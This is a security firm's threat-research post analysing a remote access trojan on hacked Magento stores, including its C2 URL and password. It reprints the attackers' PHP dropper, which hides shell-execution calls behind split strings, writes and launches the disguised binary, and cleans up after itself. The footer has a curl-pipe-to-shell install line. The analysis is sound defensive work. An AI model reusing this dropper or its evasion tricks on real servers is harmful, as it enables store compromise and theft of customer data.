Sansec logo

eCommerce trojan accidentally leaks victims

Sansec

by Sansec Forensics Team

Published in Threat Research − December 18, 2020

A Remote Access Trojan was caught on numerous large stores

A Remote Access Trojan was caught on numerous large stores

Sansec discovered a clever remote access trojan (RAT) that has been hiding in the alleys of hacked eCommerce servers. Despite the advanced setup, perpetrators mistakenly left a list of victim stores in a deleted file, which unveils the depth of this hacking campaign. The RAT is used to gain illicit long-term access to eCommerce systems, in order to steal valuable customer data (aka Magecart).

Thanks to Hampus Westman for contributing to this research

Observing the RAT

The RAT is a 64bit ELF executable that hides in your server's process table with benign sounding names like dnsadmin or sshd [net].

Magento RAT hides as dnsadmin or sshd process

To frustrate forensic analsyis, the RAT sleeps almost continuously. Yet, it wakes when most sysadmins haven't started their work day yet. At 7am, it will request instructions from its malicious master (C2) at https://www.hostreselling.com/dashboard/. It uses the e4220b186227631edb41c3c942b6b6c9ace1f7eec2674ae634aa63bceca20b4e password to authenticate.

Magento RAT connects to C2 server

Further analysis of the RAT executable reveals a peculiar comment, referring to a common Javascript component (jQuery). We have no idea why it is included.

While the jquery is the most smart and comrfortable one of www
world in computer but stacks of those ... And also lots of hosts
and selling sites for retail.

RAT dropper reveals prior victims

Sansec managed to intercept the RAT dropper code (PHP). Curiously it contains a long list of prior victims. A full copy of the RAT dropper can be found below. Where possible, we have reached out to the mentioned merchants to alert them of a breach of their system.

Magento RAT reveals list of victims

Are you affected? Our eComscan scanner has updated detection signatures for this eCommerce RAT.

Multiple actors?

Sansec has collected largely similar RATs on different systems. Curiously, they have been compiled on different Red Hat and Ubuntu Linux systems:

GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.4) 4.8.4
GCC: (GNU) 4.8.5 20150623 (Red Hat 4.8.5-39)
GCC: (Ubuntu 8.3.0-6ubuntu1) 8.3.0

This may indicate that multiple people were involved in this campaign. Or, for example, that the RAT source code is publicly available, and possibly for sale on dark web markets.

Recommendations

Sansec recommends all affected merchants to engage a forensic investigate and cleanup. We have provided a checklist for your convenience. Our flagship software eComscan will help your team right now with the investigation, and will also help to prevent future incidents.

Actual RAT dropper code

The dropper is designed to parse many different Magento deployment setups. Second, the PHP code seems to be written by someone unfamiliar with PHP. It uses shared memory blocks, which is rarely used in PHP but is much more common in C programs.

This code has been redacted by Sansec to conceal the names of infected victim stores.

// common initialization of bds...
function init_common() {
    //ignore_user_abort(true);
    set_time_limit(0);
    set_time_limit(0);
    @putenv("PHP_FORCECLI=true");

    $docroot = get_docroot();

    // for example : at <■■■■■■■■■■■■■■.com> : docroot <> __FILE__'s directory!
    //echo ("file: backdoor file path : " . __FILE__ . "\n");
    //echo ("current user : " . get_current_user() . "");
}

// get real docroot path and register as global variable.
// must called at first!
function get_docroot() {
    if (isset($GLOBALS['__docroot__'])) {
        return $GLOBALS['__docroot__'];
    }
    $docroot = getcwd();

// for automatically released sites...
    $dir_pieces = array_reverse(explode("/", $docroot));
    if (count($dir_pieces) >= 3) {
        if ($dir_pieces[1] == 'releases' && preg_match('/^[0-9]*$/', $dir_pieces[0]) != 0) {
            for ($i = 2; $i < count($dir_pieces); $i++) {
                $new_pieces[] = $dir_pieces[$i];
            }
            print_r($dir_pieces);
            print_r($new_pieces);
            $docroot = implode('/', array_reverse($new_pieces)) . '/current';
        }
    }

    if (substr($docroot, -1, 1) != '/') {
        $docroot .= "/";
    }
    //$docroot = BP . '/';
    //$docroot = '/home/■■■■■■■■■/vhosts/www.■■■■■■■■■.com/current/';  // for ■■■■■■■■■
    //$docroot = '/home/■■■■■■■■■/vhosts/www.■■■■■■■■■.com/releases/20200717062834/';
    //$docroot = '/data/www/■■■■■■■■■/current/src/'; //■■■■■■■■■
    //$docroot = '/home/■■■■■■■■■/public_html/current/'; // for ■■■■■■■■■
    //$docroot = '/var/www/share/live.■■■■■■■■■.at/current/src/htdocs/';  //■■■■■■■■■
    //$docroot = '/var/www/html/■■■■■■■■■.com/';  //■■■■■■■■■
    //$docroot = '/home/■■■■■■■■■/1587130362_public_html/';  // for ■■■■■■■■■
    //$docroot = '~/www/';     // ■■■■■■■■■
    //$docroot = '/srv/public_html/';         //for ■■■■■■■■■ , ■■■■■■■■■ ■■■■■■■■■, ■■■■■■■■■, ■■■■■■■■■,■■■■■■■■■ , ■■■■■■■■■
    //$docroot = '/srv/public_html/■■■■■■■■■-live/'; // for ■■■■■■■■■
    //$docroot = '/home/■■■■■■■■■/public_html/';  // for ■■■■■■■■■.com.au ,■■■■■■■■■ ,■■■■■■■■■
    //$docroot = '/media/■■■■■■■■■.mx/current/';           //■■■■■■■■■
   //$docroot = '/data/www/■■■■■■■■■/current/src/';
    //$docroot = '/home/■■■■■■■■■/public_html_jun11/';       //■■■■■■■■■ house
    //$docroot = '/var/www/html/■■■■■■■■■.com/';            //www.■■■■■■■■■.com
    //$docroot = '/srv/public_html/webroot/';           //■■■■■■■■■
    //$docroot = '/var/www/■■■■■■■■■.com/htdocs/';      //■■■■■■■■■
    //$docroot = '/home/■■■■■■■■■/public_html/';      //■■■■■■■■■
    //$docroot = '/var/www/■■■■■■■■■.ca/public_html/';      //■■■■■■■■■
    //$docroot = '/var/www/■■■■■■■■■/■■■■■■■■■.eu/public_html/';   //■■■■■■■■■
    //$docroot = '/srv/magento/live/www/';
    //$docroot = '/home/■■■■■■■■■/public_html/';       //■■■■■■■■■.com
    //$docroot = '/home/■■■■■■■■■/■■■■■■■■■.com/';
    //$docroot = '/var/www/prod/current/'; //■■■■■■■■■
    //$docroot = '/home/■■■■■■■■■/public_html/';
    //$docroot = '/var/www/■■■■■■■■■/current/src/';           # --https://■■■■■■■■■.co/

   //$docroot = '/home/■■■■■■■■■/public_html/■■■■■■■■■.ae/';                  #0

    #$docroot = '/var/www/■■■■■■■■■/current/src/';
    //$docroot = '/srv/public_html/current/';
    //$docroot = '/var/www/vhosts/■■■■■■■■■.ie/httpdocs/';
    //$docroot = '/var/www/■■■■■■■■■/■■■■■■■■■.eu/public_html/';      #■■■■■■■■■

    $GLOBALS['__docroot__'] = $docroot;
    return $docroot;
}

function work_command($in, $f_out = true) {
    if ($f_out) {
        echo ("bdor@command$ " . $in . "\n");
        echo ("----------------------------------------\n");
    }
    $out = "";
    $dum1 = 'e'.'xe'.'c';
    $dum2 = 'p'.'ass'.'thru';
    $dum3 = 'sy'.'stem';
    $dum4 = 's'.'hell'.'_ex'.'ec';
    $dum5 = 'po'.'pen';
    $func = "";

    if (function_exists($dum1)) {
        @$dum1($in,$out);
        $out = @join("\n",$out);
        $func = $dum1;
    } elseif (function_exists($dum2)) {
        ob_start();
        @$dum2($in);
        $out = ob_get_clean();
        $func = $dum2;
    } elseif (function_exists($dum3)) {
        ob_start();
        @dum3($in);
        $out = ob_get_clean();
        $func = $dum3;
    } elseif (function_exists($dum4)) {
        $out = $dum4($in);
        $func = $dum4;
    } elseif (is_resource($f = @$dum5($in,"r"))) {
        $out = "";
        $dum_rd = 'fr'.'ead';

        while(!@feof($f))
            $out .= $dum_rd($f,1024);
        pclose($f);
        $func = $dum5;
    }
    if ($f_out) {
        echo $func . '():', PHP_EOL;
        echo($out);
        echo ("\n----------------------------------------\n");
    } else {
        return $out;
    }
}

//////////DON'T CHANGE PATTERN////////////
define('RAT_TMP_FNAME', 'sshd');
define('ELF_RAT_PARAM', '[net]');
define('RAT_FILE_CONTENTS', `<ACTUAL ELF CODE>`);

define('TMP_WORK_DIR', 'pub/media');
define('NO_HUP_CMD', '');

main();

function main() {
    init_common();
    $docroot = get_docroot();
    /*
    if (check_ELF_process_running(9995)) {     # elf Monitor
        clear_TMP();
        exit;
    }
    */
    if (!is_dir($docroot . TMP_WORK_DIR)) {
        echo 'There is no such directory : ' . $docroot . TMP_WORK_DIR . PHP_EOL;
        exit;
    }
    chdir($docroot . TMP_WORK_DIR);


    // prepare rat
    $fname = RAT_TMP_FNAME;
    $fh = @fopen($fname, "wb");
    if ($fh == FALSE) {
        exit("Fail: " . $fname . " not writeable...\n");
    } else {
        @fwrite($fh, base64_decode(RAT_FILE_CONTENTS));
        @fclose($fh);
        echo("Success: made rat file " . $fname . PHP_EOL);
    }
    work_command('chmod +x ./' . RAT_TMP_FNAME);

    // execute rat directly
    $cmd = 'PATH=.:${PATH}; export PATH; ' .
        NO_HUP_CMD . " " . RAT_TMP_FNAME . " " . ELF_RAT_PARAM . '  2>1  1>/dev/null &';
    work_command($cmd);

    sleep(1);

    // to confirm
    work_command('ps -ef | grep ' . RAT_TMP_FNAME);
    //work_command('cat ./1');
    work_command('ls -all ./');

    // clear tmp
    clear_TMP();
    //check jpeg file has removed all

    work_command('ls -all ./');

    work_command('rm -f ' . $docroot . TMP_WORK_DIR . '/log_tmp_11 ');

    echo ("\n========================================\n");
    exit;
}


function check_ELF_process_running($SHARED_MEMORY_KEY) {
    if(!function_exists("shmop_open")) {
        echo "Failed to execute shmop_open, Maybe disabled!.\n";
        return false;
    }
    $shared_memory_id = @shmop_open($SHARED_MEMORY_KEY, "a", 0, 0);
    if (!$shared_memory_id) {
        echo "Failed to open shared memory.\n";
        return false;
    }else {
        $size = shmop_size($shared_memory_id);
        $shared_memory_string = shmop_read($shared_memory_id, 0, $size);
        if($shared_memory_string == FALSE) {
            echo "Failed to read shared memory\n";
            sem_release($semaphore_id);
            return false;
        }
        $shared_memory_array = array_slice(unpack('C*', "\0".$shared_memory_string), 1);
        $pow = 1;
        $m_pid = 0;
        for($i = 0; $i < $size; $i++) {
            $m_pid += intval($shared_memory_array[$i]) * $pow;
            $pow *= 256;
        }
        shmop_close($shared_memory_id);
    }

    if($m_pid && posix_getpgid($m_pid) !== false) {
        echo "ELF Process is already running, PID = ".$m_pid."\n";
        return true;
    }
    else {
        echo "ELF Process is not running now,Shared Meomory data = ".$m_pid."\n";
        return false;
    }
}
;flush();exit;

Read more

Scan your store now
for malware & vulnerabilities

$ curl ecomscan.com | sh

eComscan is the most thorough security scanner for Magento, Adobe Commerce, Shopware, WooCommerce and many more.

Stay up to date with the latest eCommerce attacks

Sansec logo

experts in eCommerce security

Terms & Conditions
|
Privacy & Cookie Policy
Company Reg 77165187
|
Tax NL860920306B01